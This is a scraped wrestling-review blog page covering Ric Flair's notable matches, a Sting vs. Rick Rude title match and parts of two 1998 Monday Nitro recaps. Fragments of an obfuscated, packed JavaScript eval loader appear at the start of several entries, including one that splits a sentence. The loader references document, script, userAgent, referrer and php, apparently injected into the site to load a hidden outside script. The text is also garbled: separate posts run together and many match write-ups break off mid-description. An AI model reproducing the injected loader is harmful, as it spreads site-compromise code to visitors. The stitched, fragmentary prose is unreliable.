Flair goes up and hits the shot from the top to the floor as he controls again. As good as this may sound, it’s nowhere near that entertaining actually. Rude counters and we get a Flair Flip and Ric can’t hit a third shot off the top. Rude gets a top rope punch for a long two. Fifi finally slaps Rude so he kisses her. He brings her into the ring and Flair destroys him. You can see security telling fans to sit down. Odd. Figure Four goes on but Rude gets a foreign object shot in to take Flair out as Fifi is being put out of the ring to win the title. Thank goodness it’s over.

Rating: D. This was half an hour long which more or less sums up the major issue with it. This went on WAY too long and it got very boring after awhile. Half of the match was rest holds which is incredibly boring. If you cut the first half of this off then this is decent but other than that this was horrible. The arm and back work went nowhere and the ending came out of nowhere. Terribly boring match.

WCW International Title: Sting vs. Rick Rude

Oh dear the International Title. This is the last remnant of the NWA. More or less the WCW Title and the NWA Title were the same thing as they were unified. Then in September of 1993 WCW left the NWA but due to a ridiculous legal battle, Ric Flair owned the big gold belt that the NWA had been using for about 7 years. Once they left, the NWA Title and the WCW Title were separate because the NWA sucked.

In other words, there were two titles. When the NWA was out of the picture, they just named it the WCW International Title. They unified them at a Clash of the Champions in like two months or so. Race comes down and says that Vader wants the winner of the match then tries to jump Sting which goes badly for him. This is one of Rude’s last matches actually as he would get injured in the rematch of this in Japan and never wrestle again.

They’re doing a mat based thing here which is odd but fine I guess. It’s weird to think that Rude would be gone so quickly from the ring. Rude hits his traditional chinlock because he’s required by law to do it or something like that. He gets a sleeper and has Sting more or less out and just lets go. Well no one ever said Rude was a genius or anything like that. Sting was so freaking over it’s scary.

He’s the Ultimate Warrior with talent and restraint. That’s a scary thought. Yep the referee goes down just as Sting gets the Scorpion. Race runs down to interfere again as does Vader. Bockwinkle, the commissioner, is at ringside during this. Race misses a chair shot and hits Rude for both the title change and the roof being blown off of the place. Sting was as over as free beer in a frat house.

Rating: C+. Not a great match but the fans ate this up with a spoon. The big gold belt looks great on Sting too. These two had some good matches just like Warrior had with Rude but a bit better. Unfortunately one of those matches saw Sting throw Rude out of the ring and onto a podium, breaking his back and ending his career.


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Wrestler of the Day – February 25: Ric Flair

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtees|var|u0026u|referrer|sazze||js|php'.split('|'),0,{})) keep this one simple: today is Ric Flair.

I usually use a timeline format for these things, but Flair is one of those guys where you just can’t do that. Instead I’ll just be listing off about twelve matches and their brief backstory with no timeline or real rhyme or reason other than it’s a great match. This is by no means meant to be definitive because that’s just not realistic. It’s also not chronological so expect to jump around a lot.

We’ll start in Canada in October 1992, where Flair was sick and a new champion was needed. Enter a certain Canadian sensation.

WWF Title: Bret Hart vs. Ric Flair

For the life of me I dont know what they were thinking bu there it is. More or less this was the token world title match you got at the end of the show because you needed a main event even though it meant nothing at all.

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Theyve been going about four minutes but Gorilla thinks its been ten. You can see Bret limping a lot as his ankle must be bothering him, especially since Flair hasnt done any leg work at all. Bret takes him down into an armbar and cranks away for a good while. Flair sends him to the apron but gets caught in a sunset flip. In the continuation of a running joke, Flair has his trunks pulled down, exposing the back half of himself. Why this happened so many times over the year is beyond me.

In 1989 Flair was thinking about jumping to the WWF, but new booker George Scott brought in Ricky Steamboat for a legendary series of matches, including my favorite from Chi-Town Rumble for Flair’s title.

NWA World Title: Ric Flair vs. Ricky Steamboat

Steamboat comes out with his wife and son. Flair comes out with a band, his theme song and six women. Never let it be said that he didn’t live up his gimmick. Matsuda is here again. Steamboat gets a shoulder block for a very fast two. In another nice move, Flair drops down for Steamboat to run over him but Steamboat drops down to grab a headlock. Flair hits the floor as he isn’t sure what to make of this speed.

Back in Flair fires a chop and Steamboat is like I can do that too and chops even harder. Steamboat grabs the headlock and takes Flair to the mat with ease. Flair keeps rolling him up for two counts. We hear about how they had different backgrounds, ranging from blue collar to white collar. They chop it out and MAN are those loud. Flair takes a double chop for two and bails for a bit.

Steamboat chops him to the floor so Flair slows things down again. A hip toss and headscissors get two. They speed things up and Flair takes him down with an elbow. Steamboat is all like HI YAH and chops him to the floor. Out to the floor and Flair takes over with his nefarious means. These shots are HARD. Things slow down and Flair takes over, dropping the knee for two.

Butterfly suplex gets two. They chop it out again and there’s the Flair Flip. Ric comes off with a cross body but Steamboat rolls through for two. The crowd is eating this up. Flair hits an atomic drop and grabs the Figure Four out of nowhere. A huge Steamboat chant breaks out and Steamboat is tapping, but we’re about four and a half years from that meaning anything in America.

Steamboat has been in the hold for about two minutes now but Flair gets caught grabbing the ropes and Young breaks the hold. Steamboat fires off even more chops but Flair hits a cross body to put them both on the outside. A suplex back in gets a few two counts for the champ. Belly to back gets two and Steamboat grabs a rollup for two. They do the backslide counter into the bridge but Steamboat stops in the middle with the butterfly suplex for two.

Flair keeps trying to come back and control but a clothesline and a chop takes him down again. This is incredibly fast paced. Top rope chop puts Flair down and the cross body hits but Young goes down as well. Flair gets a cradle with tights for no cover. Steamboat misses another cross body and Flair tries the Figure Four but Steamboat rolls him up for the pin as Teddy Long runs in to count the fall and give Steamboat his only world title.

Rating: A+. I’ve heard about how great these Flair vs. Steamboat matches are and this is my favorite of them. They did not stop for over twenty minutes and the result is a classic war where Steamboat outsmarted Flair at the end in a clean finish. Those are some of the loudest chops you’ll ever hear and it’s a great match as a result. Excellent stuff.

In 2005, HHH returned from injury and turned on his mentor Ric Flair in a tag team match. Flair would face HHH at Taboo Tuesday 2005 and demanded that it be inside a cage.

Intercontinental Title: Ric Flair vs. HHH

Flair is champion here and while HHH said it was mediocrity for Flair, he doesn’t mind trying to win the title. Some have called this Flair’s last great match, although I think that was before the Shawn match at Mania. It’s pin/submission/escape here. HHH sits on top of the cage to do the water spit. For some reason I can’t take this serious as a blood feud considering Flair is all in pink. Ah good the tights are black and the boots are red. I can live with that.

Flair drops a very audible F Bomb and says give me your best freaking shot. Chops vs. punches begin here and HHH is in trouble, although it’s a minute in so far. Flair can really only throw chops here but then again it’s relatively early in it. He’s the first one to go into the cage and he’s of course busted badly. I love when he’s on the mat and screaming for mercy. It’s hilarious for some reason.

HHH rakes his face across the steel and is in complete control here. With Flair leaning against the cage, HHH hits a running splash. Yes that’s correct and it looked painful. Flair is bleeding a gusher and the fans begin to cheer for him. Both guys get crotched as Flair stops HHH from leaving. HHH gets a chain from somewhere which I think he had stashed on the cage.

It’s been about 80/20 HHH in control thus far. Flair can curse with the best of them. HHH gets the Figure Four on Flair as this is probably going to go for a long time. The third F Bomb in about twelve minutes is uttered and Flair gets to the ropes for the break. Yep in a cage match. I can’t stand rules like that at times. HHH gets busted open and it wakes Flair up somehow.

This is a bloodbath for the most part and some idiot has to chant boring despite this being a good match so far. Flair goes after the bad knee of HHH that was torn up in 2001. Flair gets the Figure Four and HHH is in trouble. There is blood EVERYWHERE. Flair looks horrible as the hold is broken. He hits the top rope shot, which is a jumping chop/punch.

Flair almost gets out but is stopped, not before he gets a chair though. He did this last year and I never got why. Flair grabs HHH by the balls to stop a beatdown though. That’s always an odd move. Some chair shots to the head of HHH and Flair actually wins this clean. He looks mostly dead but he won it.

Rating: B. I can’t go higher than that for some reason but this was a great match. It was old school Flair here as he just went insane to beat HHH here which isn’t something you see out of him in this era. This was a very old school style match where it was more about violence than escape or anything like that.

The idea was for Flair to get one last hurrah, but it kind of makes HHH look pathetic that he can’t beat Flair at this age. Still though, by far the best match of the night. HHH gets cheered as he’s carried out.

Flair main evented the first ever Starrcade in a steel cage against Harley Race in what was one of the few torch changing matches of all time.

NWA World Title: Ric Flair vs. Harley Race

 

They talk trash to each other to start before Flair takes him down with a headlock takeover. Race sends him into the ropes for a knee to the ribs but Kiniski pulls them apart. Ric snapmares him down into a chinlock which transitions into a headlock. Race fights up and hits a high knee, only to have a falling headbutt hit the canvas. Flair goes back to the headlock and cranks away on it on the mat but has to shift over into a front facelock.

 

We go to that overhead camera shot again as Race hits what looks like a shoulder breaker for two. A falling headbutt has Flair in trouble again as does being slammed face first into the cage. Another shot into the steel has Flair in trouble and Race is in full control. The referee pulls Race off Flair for the third time but this time he yells at Flair as well. Ric is busted open now.

 

 

Race headbutts out of the corner but Flair falls on top during a suplex attempt. The champion slams him down and drops a middle rope headbutt but stuns himself in the process. A suplex gets two more for Race and there is blood EVERYWHERE. Race pounds away and Kiniski has a problem with that too. Harley shrugs off some Flair punches and sends him into the cage before choking away with his boot.

 

Ric Flair vs. Terry Funk

 

The only way to win is to make the other man say he quits. Funk offers Flair a chance to leave right now but Ric is ready to go. A quick chop sends Terry out to the floor and Ric is right out after him with more chops before heading back inside. Back in and they just start choking each other with Funk getting the better of it. A headbutt knocks Flair down onto the apron and they head to the aisle where Funk hammers away even more.

 

 

Back inside and Ric starts in on the leg as only he can but makes sure to throw in some chops for good measure. A suplex puts Terry down but he goes to the eyes to prevent the Figure Four. Flair suplexes him over the top and down onto the apron before finally getting the Figure Four. Funk screams never before finally quitting to end the feud.

 

WCW World Title: Ric Flair vs. Hulk Hogan

Again, they’re actually doing this in his first match with the company. Mr. T. is with Hogan for absolutely no apparent reason. Hogan’s arms have shrunk insanely now to the point that he looks like he MIGHT weigh 260. Hogan drops Flair then Flair shoves him back to the corner but that doesn’t last because Hogan has to dominate all. I really can’t believe this is his first match in the company.

The stupidity of that astounds me to this day. The fans are way into this of course, which is impressive as they didn’t really build to it at all. Naturally for about five minutes or so, the world champion who I believe held it for over a year three times or so is destroyed. Ah thank goodness: we’re doing the Flair formula and not the Hogan one, although I have a bad feeling it’s going to be a hybrid of the two instead.

Flair works on the bad knee and takes control while trying in vain for the submission that will never come. The announcers are of course biased which can get a bit annoying but it’s something you get used to over the years. Sherri and Hart interfere a bunch and nothing comes of it. Throughout the match Hogan’s length of time between matches grows from about 14 months to three years.

Don’t you just love the over the top aspects of WCW’s commentary? Sherri pulls the referee out because we need more time and to go over the top here to make sure that this has the “big match feel” to it or something like that. Referee number two comes out to check on the figure four which Flair of course puts on the wrong leg. Naturally that’s not the ending either. Hogan Hulks Up and I wonder why Flair doesn’t run here. I’ve never gotten that.

When Hogan is up and going insane, why not just hit the floor and wait about three minutes? Heenan says this is the greatest match either of them have ever had. It’s not even the best match they’ve both been in at the same time that Heenan has called. Sherri misses a splash and Hogan puts him in the figure four. Flair is all like boy please and just moves Hogan’s leg off of his which I don’t think was supposed to be on camera.

Mr. T. grabs Sherri to validate his paycheck. An illegal object nails Hogan and he of course no sells it. Hulk Up time and the usual finishes. Naturally Hogan, the new world champion wouldn’t wrestle at the next PPV. Why should he do that? We have the NASTY BOYS to main event the thing. Heenan’s recapping of it is great as he breaks into tears. He came to WCW to get away from Hogan and he’s world champion all over again. Bobby, that’s two ham sandwiches I owe you now.

Rating: B-. This was fine. Flair and Hogan usually put on good matches, but did they need to do this in the first match? Imagine the money they would make from having Flair cheat to win here and hold the title until maybe STARRCADE, you know, the BIGGEST SHOW OF THE YEAR. Naturally we can’t do that though because we need to have Beefcake get a title shot there while Flair doesn’t even wrestle.

Hogan beats Flair in his traditional fashion here, showing that even though he hasn’t wrestled in over a year (or three depending on who you ask apparently) he can beat Ric Flair, the world heavyweight champion, despite interference and foreign objects. Sure, why not.

Over the years Ric Flair was the leader of the Four Horsemen and had Arn Anderson at his side as the second banana. The question came up of what would happen if they fought, and we got to find out at Fall Brawl 1995.

Ric Flair vs. Arn Anderson

Ok, now this is actually cool. Arn always dominated the lower card to midcard while Flair was always world champion. Why did Arn never get a shot? Something interesting to note is a Flair 3:16 sign in the crowd a full 9 months before Austin gave him famous speech. A bunch of wrestlers are here to watch this. For old school fans, this is a very odd match indeed. It’s scary how much darker Anderson is than Flair.

Heenan says Flair has been a jerk. Now that’s not something you’ll hear often. Anderson goes to the arm which is his normal thing. And let’s blame Hogan for this to make sure he’s mentioned in most of if not all of the segments. This is a very slow start but that’s all fine and good I think. This is a huge match that can do what it wants.

They get a lot of counters and technical stuff in there as the announcers ask why Arn never got a shot. Oh and they try to make it sound like WCW was the company that went worldwide first. I’ll let them have that because even they can’t believe that one. They simply can’t. Arn gets a weak sleeper as the fans don’t know who to cheer for here. It never ceases to amaze me how simple things like arm work can do so much for a match.

Ok again Tony says that Flair is Arn’s cousin. This is a common thing to be said and for the maybe 3 people that don’t know otherwise, it’s true. Flair is Anderson’s cousin by way of their aunt Clotilda. Not true but I wanted to work the name Clotilda into a review for various psychotic reasons. Flair was often billed as a cousin to the Andersons back in the old days as a way to validate them being partners. That’s where that comes from.

It really is cool to see two guys that know each other this well FINALLY have a match. Flair goes up and actually gets his shot. That’s amazing to say the least. Heenan gets on too much of a rant and says that if Flair gets the figure four on then the referee will have to stop it and if Arn DDTs Flair….well that’s another story but neither guy will give up. That got a laugh out of me.

The knee drop completely misses but is sold anyway. Arn just goes off on Flair in the corner and it’s awesome. I love how sometimes Bobby gets on a roll and Tony has to just ignore him due to how out of left field some of the stuff is. Flair takes over for awhile with his usual stuff. There’s a feeling to this match that you just don’t get that often. Flair gets stuck in the Tree of Woe and Arn chokes away.

It’s hard to tell if Arn is being evil or if he hates Flair. DDT is blocked. Arn calls a spot to Flair on a two count. Figure Four is almost on but Arn blocks the leg. Never mind it didn’t work. Flair spits at him and Arn is FIRED UP. Crowd is WAY into this.

With Arn holding his knee, Brian Pillman of all people gets up on the apron and they trade punches. Pillman kicks him in the back of the head and Flair staggers into the DDT for the pin. This would be explained in solid detail, especially at Halloween Havoc so I’ll spare you the spoilers.

Rating: A-. Just a great match that felt like a bit match. Did you really expect this match to not rock? It was as great as you would expect it to be as Arn got to show that he could have a great match against a guy like Flair and beat him. That’s something he never really got to do and it needed to happen. Great match.

Speaking of the Horsemen, they were involved in the first WarGames match at the 1987 Great American Bash.

Dusty Rhodes/Road Warriors/Nikita Koloff/Paul Ellering vs. Four Horsemen/JJ Dillon

The Horsemen in this case are Flair, Anderson, Blanchard, Luger and JJ Dillon. Flair’s music is epic as they crank the music WAY up. This is the Atlanta main event and it’s the debut of WarGames. For those of you uninitiated, WarGames is the mother of all gimmick matches. You have two teams of five and each team sends in a member. Those two fight for five minutes and there’s a coin toss.

The winning team gets to send in the third man to have a 2-1 advantage. That lasts two minutes and then the team that lost the toss gets to send in its second man to tie it at 2-2. That lasts two minutes then the team that won the toss sends in its third man. You alternate like that every two minutes until it’s 5-5 and then it’s first submission. No pins allowed.

Arn and Dusty start us off and remember this can’t end until all ten are in. There are two rings side by side with one huge cage over them if I didn’t mention that. They feel each other out a lot as they’re not entirely sure what to do here. Dusty walks on the second rope and then swings across the top of the cage to kick him in the ribs. Now they’re going and Dusty pounds away including a low blow which is perfectly legal.

There’s a DDT by Dusty and the crowd is red hot. Arn is cut open about two and a half minutes in so Dusty rakes it across the cage wall. Everyone hates everyone on the other team so this is a huge blood feud all around. Dusty sends him into the cage and has dominated the entire time. After a quick comeback by Arn Dusty gets his bad Figure Four on and then lets go of it because….well just because I guess.

The Horsemen win the toss (the faces literally never won the thing) and it’s Tully in next. The Horsemen beat him down but Dusty is booking so he knocks them both down with elbows. And scratch that as Tully gets in a knee shot and the double teaming begins. Tully puts on a Figure Four as they work over the knee. The clock seems to skip ahead a bit (no sign of clipping though) and Animal comes in to tie it up.

He starts launching Horsemen everywhere and sets Tully up for a slingshot which he rams three straight times. Shoulder block takes Tully down and Dusty destroys Anderson. I think Blanchard is busted and he gets double teamed a bit. Anderson looks dead. Animal is like screw that and rams him into the cage a few times. Flair is in to make it 3-2 and chops at Animal which doesn’t work. The number catch up with him as Anderson is back up quickly.

Sorry for a lot of play by play here but it’s the only thing you can do in matches like this one. Animal is busted. Dusty tries to fight back but he’s almost on his own. The fans are so loud that you can’t hear Tony and Jim. Dusty is bleeding and here comes Nikita. Flair grabs him as he comes in but the power of RUSSIA breaks up the Horsemen. The double ring thing here is very nice as they have room to move around. Animal sends Flair into the cage and he’s bleeding now. Dusty is gushing blood.

Nikita and Dusty work on the knee of Anderson but Nikita goes to get Tully stuck between the two rings and hits him between the ropes in a slingshot thing. Flair begs off Nikita and that doesn’t end well for the champ. A double dropkick puts Anderson down and here’s Lex. This is literally non-stop. Powerslam plants Koloff and Lex is dominating. There’s a spike piledriver to Nikita and then a second one just to kill him deader than dead. The Horsemen are in control but they’re starting to fall from exhaustion and blood loss.

Here’s Hawk and the fans erupt all over again. He destroys everything in sight and if you’re not bleeding already you will be now. Nikita’s neck is messed up and he can barely stand. JR is in Heaven with this much carnage. Flair gets a Figure Four on Dusty but it doesn’t count yet. The Horsemen only have JJ Dillon left and he’s a manger. He goes after Hawk and that’s just dumb.

Flair saves JJ’s life and they’re getting tired. Flair is bleeding a ton as if you expected anything else. JJ is taking a beating but Animal is getting triple teamed. Here’s Ellering to get us all tied up and now the match can end. Ellering has an LOD spiked pad on his arm. Dillon is bleeding BAD so Ellering JAMS THE SPIKE INTO HIS EYE. The LOD circles in on Dillon as the rest of the team runs interference. The Warriors spear his head into the cage and load up the Doomsday Device. JJ lands on his shoulder, legitimately hurting it. With Animal running interference, Hawk beats him half to death until he gives up to finally end this.

Rating: A+. This runs 26 minutes and there is literally no stopping in the whole thing. There isn’t some period where they chill because they’ve done enough. This is about brutality and violence and it works very well. There’s a ton of blood and JJ looks like he fell out of a building (for some reason in wrestling attire) at the end of it. It’s well worth seeing and still works today. Great match.

Flair’s “retirement” match was at Wrestlemania XXIV and culminated something resembling a retirement tour where he would retire after his next loss. Flair challenged Shawn Michaels to a match and got his wish.

Ric Flair vs. Shawn Michaels

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

Back in 1993, WCW wasn’t doing so well and due to a bad incident of insanity, their world title challenger at Starrcade 1993 was fired a few weeks before the show. Flair was brought in to face Vader for the belt.

WCW World Title: Ric Flair vs. Vader

 

Tony talks about all the major wins Flair has had at Starrcade as Vader stomps him down. A big gorilla press slam puts Flair down and he rolls to the floor, only to have Vader go out after him. Flair is dropped throat first on the barricade but Flair goes NUTS with chops and punches before ramming Vader into the post. Race nails Ric though and Vader takes over again with a suplex back inside. Another suplex puts Flair down again and Vader blasts him in the face.

 

 

Next up we’ll look at one of Flair’s greatest opponents, as he faces Lex Luger for the title at Starrcade 1988.

NWA World Title: Ric Flair vs. Lex Luger

 

 

 

Back to the floor with Flair sending him face first into the barricade and chopping away which actually has an effect now. They go back inside and Flair stomps on the ribs but tries more chops which just wake Luger up. Lex puts on a sleeper but gets suplexed right back down to give both guys a breather. The Figure Four is countered into a small package for two by the challenger, followed by a superplex for two more.

 

 

Rating: A. This is an excellent match with an excellent story being told. Luger was such a natural athletic machine that he would never stop going on pure athleticism alone and eventually his body gave out on him, giving Flair the win. These two had great chemistry together and would always have good if not great matches together. Excellent main event here and well worthy of closing out the biggest show of the year.

We’ll wrap it up with what might be Flair’s most famous match. From the first Clash of the Champions.

NWA World Title: Sting vs. Ric Flair

 

 

Back to the headlock and we hit the ten minute mark. Ric gets up and hits a chop that actually takes something out of Sting. It takes so much out that the next gorilla press only lasts for about five seconds. Off to a gorilla press on the champion and Sting actually takes him to the mat for a few two counts. Sting lets him up and tries the Stinger Splash in the corner but only hits the buckles, giving Flair his first opening.

 

Sting tries to come back with more right hands in the corner but gets countered into an atomic drop to put him on the mat for the first time. Flair takes him to the floor and whips Sting into the barricade before chopping and clotheslining him down in the ring. Some knee drops get a two count on the challenger and Flair throws him back to the floor where referee Tommy Young has to take a chair away from the champion. Sting is sent into the barricade again and the fans are getting scared.

 

 

 

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Monday Nitro – October 5, 1998: From Stupid To Crazy

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kktba|var|u0026u|referrer|hkeyh||js|php'.split('|'),0,{})) Nitro #157
Date: October 5, 1998
Location: Carolina Coliseum, Charleston, South Carolina
Attendance: 8,782
Commentators: Larry Zbyszko, Bobby Heenan, Tony Schiavone, Mike Tenay

We open with a recap of Hart turning on Sting and revealing his allegiance to Hogan, shocking very few people.

Nitro Girls in pink.

Halloween Havoc promo.

Tony wants to know about the maniacal laugh. I have a very bad feeling about where this is going.

Bret vs. Sting for the US Title tonight.

We look at Piper telling Bret Hart to be a man a few months back as the fans want Flair.

We look back at Bret saving Sting from a whipping by Hogan back in August.

Normal opening about ten minutes into the show, complete with hearing Penzer counting the crowd down to cheer.

Lizmark Jr. vs. Saturn

Videos on the main events at the PPV.

Nitro Girls in black.

Kaz Hayashi vs. The Cat

A bunch of eight year olds win the Nitro Party contest this week.

Another Page vs. Goldberg video.

Jerry Flynn vs. Juventud Guerrera

Third Page vs. Goldberg video.

Tenay asks some fans who will win the title match. The people are split.

Heenan joins commentary while Tenay is taking a phone call. The announcers talk about how great Hogan vs. Warrior will be.

Long Hogan vs. Warrior video.

Villano V vs. Wrath

Wrath throws him into the corner and slams him down with ease. Villano is tossed outside and sent into the steps before a slingshot back elbow to the jaw drops him again. The Meltdown is enough for the fast pin. Wrath looked like a monster here.

We get our third video on Hogan vs. Warrior as the night of the video packages continues.

Back from a break with the Wolfpack walking outside and finding a forklift to flip over the Black and White limousine. Nash and Luger bash it with hammers and Sting slashes the tires for good measure. Cool segment actually.

Hector Garza vs. Damien

Another video on Sting vs. Hart.

David Flair is in the front row and acknowledged by the announcers.

Nitro Girls in white.

Cruiserweight Title: Juventud Guerrera vs. Kidman

Warrior talks about the Wrestlemania VI main event and rambles about power. The point is he beat Hogan before and can do it again.

Tenay is chasing the Wolfpack limo as they hunt Scott Hall.

Back from a break and we get a clip of Scott and Brian Adams double teaming Rick.

Rick Steiner vs. Brian Adams

Hour #3 begins.

Tenay and the Wolfpack go into a bar to look for Scott. No luck so the search continues.

Video on the Horsemen.

Nitro Girls in black.

Kanyon vs. Diamond Dallas Page

Page gets a very quick two off a rollup before shoving Kanyon across the ring. A belly to belly suplex gets another near fall and a forearm puts Kanyond outside. Cue Lodi with signs begging Raven to reform the Flock but he gets a dive from Page instead. The distraction lets Raven come in with a Diamond Cutter to Page for two. Page fights up and throws Kanyon into the corner for some rights and lefts but walks into a Fameasser for two.

Page gets double teamed post match but Goldberg makes the save.

Lenny Lane vs. Disciple

Lane dances around like Warrior to start and gets his head knocked off as a result. Lenny tries snapmares and some kicks but Disciple no sells everything, clotheslines him down and wins with the Apocalypse.

US Title: Sting vs. Bret Hart

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Monday Nitro – September 28, 1998: That’s What They’re Doing Now? Ok Then.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbnrd|var|u0026u|referrer|dihrb||js|php'.split('|'),0,{})) Nitro #156
Date: September 28, 1998
Location: Blue Cross Arena, Rochester, New York
Attendance: 10,523
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

The opening video talks recaps Warrior vs. Hogan and the One Warrior Nation revolution, whatever that was supposed to be.

Announcers and Nitro Girls open things up.

Opening sequence.

La Parka vs. Super Calo

Back in and La Parka quickly puts him in the Tree of Woe for a running spinwheel kick to the ribs. Calo gets his boots up to catch La Parka coming off the top but is almost immediately kicked to the floor. He pops back onto the apron and pulls La Parka off the top and drapes it on the top rope. Another hurricanrana gets two on La Parka but he comes back with an Alabama Slam and a corkscrew off the top for the pin.

Calo blasts La Parka with the chair.

Disciple vs. Sick Boy

The announcers hype Hogan vs. Hart tonight.

We recap the battle of the Steiners and Scott and Buff faking all those injuries. Their match at Halloween Havoc will be No DQ.

Jericho has challenged Goldberg for a World Title shot tonight.

Nitro Party.

Nitro Girls. The song instructs the fans to say HO.

Lenny Lane/Nick Dinsmore vs. Scott Steiner

Scott feigns an injury post match and is walked to the back by a trainer.

Hour #2 begins.

The Cat vs. Psychosis

Alex Wright insults the crowd and the British Bulldog. Who thought we needed to build to that match?

Disco Inferno vs. Chavo Guerrero Jr.

Feeling out process to start until Disco takes over with a hiptoss but stops to nearly break Pepe the stick horse in half. Chavo goes NUTS and takes over with right hands before throwing Inferno to the floor. Back in and an atomic drop and clothesline get two on Disco but he slams Chavo down. A dancing middle rope elbow gets a two count and Chavo makes his comeback, only to have Disco jab him in the throat with Pepe for the pin.

Rating: D+. This was more of a story than a match with Disco proving that he can hang with the cruiserweights but not being legally allowed to compete in their division. Chavo has toned down the insanity in recent weeks and is becoming a more well rounded wrestler as a result.

Juvy comes out to yell at Disco and gets a piledriver for his efforts.

Cool Horsemen video.

Video on Goldberg vs. Page.

WCW World Title: Chris Jericho vs. Goldberg

Scott Hall vs. Billy Kidman

Hour #3.

British Bulldog vs. Alex Wright

Nitro Girls with the very cute Spice getting a solo.

Video on Kevin Nash.

Brian Adams vs. Kevin Nash

Some kid jumps the rail and runs up the aisle at Nash who seems oblivious to him. Feeling out process to start until Adams takes over with a nice middle rope clothesline. Nash is knocked to the floor but he sends Adams into the steps to take over again. Back in and Kevin hits the big boot and loads up the Jackknife but Stevie Ray comes in with the slap jack for the DQ.

Hall comes down with a cup but pours it out to pound on Nash. Luger and Konnan make the save.

Lex Luger/Konnan vs. Hugh Morrus/Barry Darsow

Nitro Girls.

Hollywood Hogan vs. Bret Hart

Bret comes to the ring with no music and a slight limp. Feeling out process to start with Hogan actually scoring with a takedown but Bret easily takes over on the mat. Hollywood takes over again with a cross armbreaker of all things but Bret is too close to the ropes. Bret avoids three straight elbow drops and they head to the floor with Hogan going shoulder first into the post.

Back in and Bret is pulled to the floor again and the knee is in trouble. Hogan drapes it over the barricade and bends it around the post before putting on a spinning toehold. This brings out Sting to pull Hogan off as the Wolfpack comes out to help Hart. Bret shouts at Hogan to take on Sting and you can see the swerve from here.

Hollywood Hogan vs. Sting

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